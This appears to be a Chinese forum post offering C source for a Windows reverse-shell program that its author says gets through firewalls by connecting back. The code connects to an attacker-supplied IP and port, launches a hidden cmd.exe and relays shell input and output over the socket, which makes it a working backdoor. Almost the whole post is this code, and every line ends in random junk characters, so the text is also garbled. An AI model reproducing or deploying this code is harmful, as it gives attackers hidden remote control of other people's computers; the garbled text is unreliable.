这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 xO7Yt
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/* ============================== FI{AZb_'
Rebound port in Windows NT HT"gT2U+
By wind,2006/7 xW>ySEf
===============================*/ lkA^\+Ct
#include \~>e_;
#include ExCM<$,
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#pragma comment(lib,"wsock32.lib") -es"0wS<u
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void OutputShell(); 'wZ_4XjD
SOCKET sClient; t?{B_Bf
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !\;:36B#6
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void main(int argc,char **argv) mV?&%>*(f
{ rJQ=9qn\
WSADATA stWsaData; p0M=t-
int nRet; o.Oq__ >$H
SOCKADDR_IN stSaiClient,stSaiServer; Nb;H`<JP
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if(argc != 3) h*Je35
{ tPU-1by$
printf("Useage:\n\rRebound DestIP DestPort\n"); bLbR IY"l
return; s<vs:jna
} t`5j4bdG
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WSAStartup(MAKEWORD(2,2),&stWsaData); A59gIp*>
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p@ygne4
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stSaiClient.sin_family = AF_INET; 5&!'^!
stSaiClient.sin_port = htons(0);
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |]W2EV ,b
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) k4{:9zL1#?
{ B
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printf("Bind Socket Failed!\n"); J8<J8x4
return; _D,eyP9P
} 5mgHlsDzu
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stSaiServer.sin_family = AF_INET; *C6 D3y
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :#u}.G
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); r_U>VT^E:
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $^_|j1z#i
{ p|qyTeg
printf("Connect Error!"); ;YyXT"6/p
return; rh%m;i<b
} ^Ga&}-
OutputShell(); ?6P.b6m}0
} i sW\MB]
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void OutputShell() @dgH50o[
{ WVX`<
char szBuff[1024]; Qi9-z'
SECURITY_ATTRIBUTES stSecurityAttributes; E0 l_--
OSVERSIONINFO stOsversionInfo; \+nGOvM
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3`F) AWzdr
STARTUPINFO stStartupInfo; =Z,5$6%)
char *szShell; M#,Q
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PROCESS_INFORMATION stProcessInformation; j6g@tx^)'
unsigned long lBytesRead; 8=;k"
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); >t <pFh
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #E$X,[ZFo
stSecurityAttributes.lpSecurityDescriptor = 0; }Hcx=}j
stSecurityAttributes.bInheritHandle = TRUE; ^6;V}2>v}
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); g|%L"-%gJ
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); C#Bz>2;#
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +dW|^I{H}
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "y;bsZBd"
stStartupInfo.wShowWindow = SW_HIDE; F{m{d?:OA
stStartupInfo.hStdInput = hReadPipe; 1||+6bRP
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; z[nS$]u
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GetVersionEx(&stOsversionInfo); sZhMa>
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switch(stOsversionInfo.dwPlatformId) @;Opx."
{ ?jO 5 9n
case 1: <l,o&p,>|c
szShell = "command.com"; u0o'K9.r
break; NwlU%{7W6
default: -YGbfd<wq
szShell = "cmd.exe"; T:iP="?{
break; _.V?A*
} Sq2P-y!w
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); M+P$/Wk
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send(sClient,szMsg,77,0); mD58T2Z
while(1) jd-glE,Y/
{ K^[#]+nQ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {+.r5py
if(lBytesRead) rN/|(@
{ g"_C,XN
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <skajQQ
send(sClient,szBuff,lBytesRead,0); HMGB>
} ,IHb+ K
else 0?DC00O
{ EbY,N:LK
lBytesRead=recv(sClient,szBuff,1024,0); 'gMfN
if(lBytesRead<=0) break; ]wVk+%e
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); YT#3n
} ]lO h&Cz[
} /+]s.V.
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return; C.Uju`3
}